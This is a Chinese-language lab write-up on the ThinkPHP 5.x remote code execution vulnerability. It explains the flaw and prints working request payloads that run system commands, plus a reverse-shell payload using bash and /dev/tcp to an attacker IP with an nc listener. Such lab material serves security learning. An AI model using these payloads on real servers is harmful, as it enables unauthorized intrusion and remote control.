一、ThinkPHP
ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的
ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。
其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户
二、ThinkPHP远程代码执行
1、漏洞范围
5.x < 5.1.31
2、漏洞成因
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
3、靶场练习(5.0.23)
①手动
windows
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
- _method=__construct 为了能够进入construct,从而覆盖变量
- method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
- s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
- filter[]=system 覆盖变量
- get[]=whoami 覆盖变量
Linux
_method=__construct&filter[]=system&method=get&get[]=pwd
②工具(LiqunKit_1.5)
漏洞验证
漏洞利用
4、反弹shell
①反弹shell概念
就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转
反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入
②poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.111.129/9999+0>%261"
- /bin/bash -c: 这是在Linux中执行一个shell命令的标准方式
- bash -i: 这会启动一个交互式的Bash shell
- >& /dev/tcp/192.168.111.129/9999 0>&1: 这部分是一个用于将输出和输入重定向到指定IP地址和端口的命令,实现了远程连接
- 192.168.111.129:攻击机IP
- 9999:监听端口
③复现
打开监听端口
nc -lvvp 9999
提交poc
反弹shell成功